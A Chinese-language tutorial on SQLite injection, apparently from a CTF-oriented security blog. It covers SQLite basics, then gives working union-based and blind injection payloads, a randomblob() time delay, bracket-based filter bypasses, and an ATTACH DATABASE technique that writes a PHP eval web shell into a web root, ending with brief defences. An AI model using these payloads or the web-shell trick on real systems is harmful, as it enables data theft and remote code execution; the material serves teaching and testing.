sqlite注入的一点总结
字数 778 2025-08-10 08:28:21
SQLite注入全面指南
1. SQLite基础
1.1 数据库操作
- 创建数据库:
sqlite3 test.db命令会在当前目录生成数据库文件 - 打开数据库:
.open sqltest.db - 导入导出:
# 导出 $ sqlite3 testDB.db .dump > testDB.sql # 导入 $ sqlite3 testDB.db < testDB.sql
1.2 表操作
- 创建表:
CREATE TABLE test ( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL ); - 查看表:
.tables- 列出所有表.schema test- 查看表结构
1.3 数据操作
- 插入数据:
INSERT INTO test (id, name) VALUES (1, 'alice'); - 查询数据:
SELECT * FROM test; SELECT name FROM test;
1.4 格式化输出
.header on
.mode column
.timer on
2. SQLite系统表
2.1 sqlite_master表
- 结构:
CREATE TABLE sqlite_master ( type text, name text, tbl_name text, rootpage integer, sql text ); - 查询表名:
SELECT tbl_name FROM sqlite_master WHERE type = 'table'; - 获取表结构:
SELECT sql FROM sqlite_master WHERE type = 'table';
3. SQLite注入技术
3.1 联合查询注入
- 确定字段数:
1' ORDER BY 3; 1' ORDER BY 4; - 基本联合查询:
0' UNION SELECT 1,2,3; - 查询版本:
0' UNION SELECT 1,2,sqlite_version(); - 获取表结构:
0' UNION SELECT 1,2,sql FROM sqlite_master; 0' UNION SELECT 1,2,sql FROM sqlite_master WHERE type='table'; - 使用GROUP_CONCAT聚合结果:
0' UNION SELECT 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%'; - 使用LIMIT和OFFSET:
0' UNION SELECT 1,2,tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 2 OFFSET 1;
3.2 盲注技术
布尔盲注
- 判断版本长度:
SELECT * FROM test WHERE id=1 AND length(sqlite_version())=5; - 判断版本字符:
SELECT * FROM test WHERE id=1 AND substr(sqlite_version(),1,1)='3';
时间盲注
- SQLite没有sleep()函数,但可以使用randomblob()制造延迟:
SELECT * FROM test WHERE id=1 AND 1=(CASE WHEN(substr(sqlite_version(),1,1)='3') THEN randomblob(1000000000) ELSE 0 END);
3.3 写Shell技术
- 使用ATTACH DATABASE创建新数据库文件:
ATTACH DATABASE '/var/www/html/shell.php' AS shell; CREATE TABLE shell.exp (payload text); INSERT INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]);?>');
4. 高级注入技巧
4.1 绕过过滤
- 使用
[]代替反引号:
等价于:t AS SELECT sql [abc] FROM sqlite_master;t AS SELECT sql FROM sqlite_master;
4.2 创建表注入
- 通过表名、列名和类型构造注入:
实际执行:CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc] FROM sqlite_master;);CREATE TABLE t AS SELECT sql FROM sqlite_master;
5. 实战案例
5.1 获取flag
- 已知flag表名和列名后:
t AS SELECT flag_ThE_C0lumn [abc] FROM flag_Y0U_c4nt_GUESS;
5.2 格式化列名输出
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(
substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1))
,"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),
"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",'')
FROM sqlite_master WHERE type='table' AND name='user_data';
6. 防御措施
- 使用参数化查询
- 对用户输入进行严格过滤
- 限制数据库用户权限
- 避免直接拼接SQL语句
- 使用ORM框架
7. 总结
SQLite注入与其他数据库注入原理相似,但有其特有的函数和特性:
- 系统表
sqlite_master是关键突破口 - 缺少传统数据库的某些函数(如sleep),但有替代方案(randomblob)
- 反引号可用
[]替代绕过过滤 - 通过创建表的方式可以执行任意查询